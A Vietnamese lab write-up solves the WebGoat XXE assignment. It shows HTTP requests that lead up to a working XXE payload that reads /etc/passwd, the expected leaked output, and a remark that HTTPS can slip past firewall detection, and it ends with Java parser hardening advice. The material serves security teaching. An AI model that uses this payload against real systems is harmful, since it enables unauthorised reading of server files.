1.08 | XXE
XXE Injection – Assignment Solution
1. Mục tiêu bài tập
Bài tập này kiểm tra xem API có bị tấn công XXE (XML External Entity) hay không.
- Ứng dụng có vẻ chỉ chấp nhận JSON, nhưng nếu ta thử gửi XML, API có thể vẫn xử lý được.
- Nếu ứng dụng sử dụng trình phân tích XML mà không bảo vệ đúng cách, có thể khai thác để đọc file từ hệ thống backend.
2. Phân tích request ban đầu
Khi nhập một comment vào ứng dụng, nó gửi request sau:
POST http://localhost:8080/WebGoat/xxe/content-type HTTP/1.1
Content-Type: application/json
{"text":"My first comment"}
Đây là một request hợp lệ và API xử lý bình thường.
3. Thử đổi Content-Type sang XML nhưng vẫn gửi JSON
Bây giờ thử đổi Content-Type thành application/xml nhưng vẫn gửi JSON:
POST http://localhost:8080/WebGoat/xxe/content-type HTTP/1.1
Content-Type: application/xml
{"text":"My first comment"}
💥 Lỗi nhận được:
javax.xml.bind.UnmarshalException\n - with linked exception:
[javax.xml.stream.XMLStreamException: ParseError at [row,col]:[1,1]
Message: Content is not allowed in prolog.
🔍 Phân tích lỗi:
- API đang dùng trình phân tích XML, nhưng ta lại gửi JSON.
- JSON bắt đầu bằng
{, trong khi XML mong đợi ký tự<, dẫn đến lỗi parse.
4. Gửi request XML hợp lệ
Thay vì JSON, ta gửi một request XML hợp lệ:
POST http://localhost:8080/WebGoat/xxe/content-type HTTP/1.1
Content-Type: application/xml
<text>This is my first message</text>
💥 Lỗi nhận được:
javax.xml.bind.UnmarshalException\n - with linked exception:
[com.sun.istack.SAXParseException2; lineNumber: 1; columnNumber: 7;
unexpected element (uri:"", local:"text").
Expected elements are <{}comment>]
🔍 Phân tích lỗi:
- API mong đợi thẻ
<comment>, nhưng ta chỉ gửi<text>.
✔ Sửa lại request theo đúng format mong đợi:
POST http://localhost:8080/WebGoat/xxe/content-type HTTP/1.1
Content-Type: application/xml
<comment><text>This is my first message</text></comment>
✅ Kết quả: API xử lý thành công và comment hiển thị trên WebGoat.
5. Tấn công XXE Injection
Nếu trình phân tích XML không chặn DOCTYPE, ta có thể khai thác XXE để đọc file hệ thống.
🚨 Payload XXE Injection:
POST http://localhost:8080/WebGoat/xxe/content-type HTTP/1.1
Content-Type: application/xml
<!DOCTYPE user [<!ENTITY root SYSTEM "file:///etc/passwd">]>
<comment><text>&root; This is my first message</text></comment>
💥 Giải thích payload:
- DOCTYPE user: Định nghĩa một thực thể (entity) tên
root. - SYSTEM "file:///etc/passwd": Trỏ entity
rootđến file/etc/passwdtrên máy chủ backend. - &root;: Khi API xử lý XML, nó thay
&root;bằng nội dung của file/etc/passwd.
6. Kết quả mong đợi khi khai thác XXE
Nếu hệ thống dễ bị tấn công, phản hồi có thể chứa nội dung /etc/passwd như:
<comment><text>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
</text></comment>
📌 Nếu request bị chặn:
- Một số firewall của công ty có thể phát hiện payload này và chặn request.
- Nhưng nếu dùng HTTPS, request sẽ được mã hóa và có thể vượt qua bảo vệ mạng.
7. Phòng chống XXE Injection
1️⃣ Cấu hình trình phân tích XML an toàn
Trong Java (Spring Boot), tắt DOCTYPE và ENTITY khi parse XML:
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder builder = factory.newDocumentBuilder();
2️⃣ Chuyển sang JSON thay vì XML
Nếu ứng dụng không cần XML, nên chỉ hỗ trợ JSON để tránh rủi ro.
3️⃣ Kiểm tra dữ liệu đầu vào
- Dùng whitelist để chỉ cho phép các thẻ XML hợp lệ.
- Chặn mọi request có
<!DOCTYPE>.
8. Kết luận
- XXE Injection có thể khai thác lỗ hổng của API để đọc file hệ thống.
- Thử nghiệm trên WebGoat:
- Đổi
Content-Typesang XML để kiểm tra xem API có xử lý XML không. - Gửi payload XXE để kiểm tra khả năng đọc file hệ thống.
- Đổi
- Phòng chống:
- Tắt hỗ trợ
DOCTYPEvàENTITY. - Chỉ hỗ trợ JSON nếu có thể.
- Kiểm tra chặt chẽ dữ liệu đầu vào.
- Tắt hỗ trợ